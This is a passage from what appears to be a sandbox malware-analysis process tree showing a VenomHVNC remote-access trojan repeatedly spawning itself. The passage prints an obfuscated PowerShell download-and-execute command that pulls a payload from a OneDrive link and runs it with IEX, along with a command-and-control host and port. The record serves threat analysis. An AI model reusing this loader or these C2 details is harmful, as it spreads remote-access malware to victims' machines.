        "C:\Windows\explorer.exe"
        67⤵
        
        PID:7860
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        67⤵
        
        PID:8968
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        66⤵
        
        PID:7680
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        66⤵
        
        PID:1816
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        67⤵
        
        PID:12344
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        65⤵
        
        PID:7504
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        66⤵
        
        PID:7708
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        66⤵
        
        PID:10324
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        65⤵
        
        PID:7512
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        65⤵
        
        PID:10752
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        66⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9152
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        64⤵
        
        PID:7404
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        65⤵
        
        PID:7612
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        65⤵
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        64⤵
        
        PID:7416
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        64⤵
        
        PID:8660
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        65⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6484
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        63⤵
        
        PID:7240
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        64⤵
        
        PID:7436
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        64⤵
        
        PID:2692
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        63⤵
        
        PID:7252
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        63⤵
        
        PID:6720
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        64⤵
        
        PID:12888
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        62⤵
        
        PID:5248
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        63⤵
        
        PID:7444
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        63⤵
        
        PID:10908
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        62⤵
        
        PID:7176
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        62⤵
        
        PID:1984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        63⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12376
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        61⤵
        
        PID:6880
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        62⤵
        
        PID:2716
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        62⤵
        
        PID:10824
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        61⤵
        
        PID:6928
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        61⤵
        
        PID:8664
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        62⤵
        
        PID:12356
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        60⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:6604
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        61⤵
        
        PID:6088
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        61⤵
        
        PID:10472
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        60⤵
        
        PID:5980
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        60⤵
        
        PID:2608
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        61⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11440
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        59⤵
        System Location Discovery: System Language Discovery
        
        PID:6264
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        60⤵
        
        PID:6124
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        60⤵
        
        PID:6352
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        59⤵
        
        PID:6344
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        59⤵
        
        PID:8588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        60⤵
        
        PID:12260
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        58⤵
        
        PID:7108
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        59⤵
        
        PID:2400
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        59⤵
        
        PID:10136
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        58⤵
        
        PID:7116
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        58⤵
        
        PID:6368
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        59⤵
        
        PID:12392
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        57⤵
        
        PID:7004
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        58⤵
        
        PID:7072
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        58⤵
        
        PID:4872
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        57⤵
        
        PID:7016
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        57⤵
        
        PID:7548
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        58⤵
        
        PID:12668
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        56⤵
        
        PID:6912
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        57⤵
        
        PID:7088
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        57⤵
        
        PID:9940
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        56⤵
        
        PID:6920
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        56⤵
        
        PID:536
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        57⤵
        
        PID:12844
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        55⤵
        Suspicious use of SetThreadContext
        
        PID:6744
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        56⤵
        
        PID:6864
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        56⤵
        
        PID:9272
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        55⤵
        
        PID:6752
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        55⤵
        
        PID:6776
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        56⤵
        
        PID:12252
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        54⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:6504
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        55⤵
        
        PID:6720
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        55⤵
        
        PID:4216
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        54⤵
        
        PID:6512
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        54⤵
        
        PID:7328
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        55⤵
        
        PID:11672
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        53⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:6384
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        54⤵
        
        PID:6712
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        54⤵
        
        PID:8624
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        53⤵
        
        PID:6392
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        53⤵
        
        PID:8148
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        54⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12828
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        52⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:6292
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        53⤵
        
        PID:6776
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        53⤵
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        52⤵
        
        PID:6300
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        52⤵
        
        PID:11244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        53⤵
        
        PID:9256
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        51⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5272
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        52⤵
        
        PID:5892
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        52⤵
        
        PID:1800
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        51⤵
        
        PID:5404
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        51⤵
        
        PID:2260
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        52⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12384
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        50⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:6000
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        51⤵
        
        PID:5780
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        51⤵
        
        PID:7156
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        50⤵
        
        PID:6008
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        50⤵
        
        PID:8816
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        51⤵
        
        PID:4488
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        49⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:5756
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        50⤵
        
        PID:5956
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        50⤵
        
        PID:6584
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        49⤵
        
        PID:5772
        
        C:\Windows\SysWOW64\WScript.exe
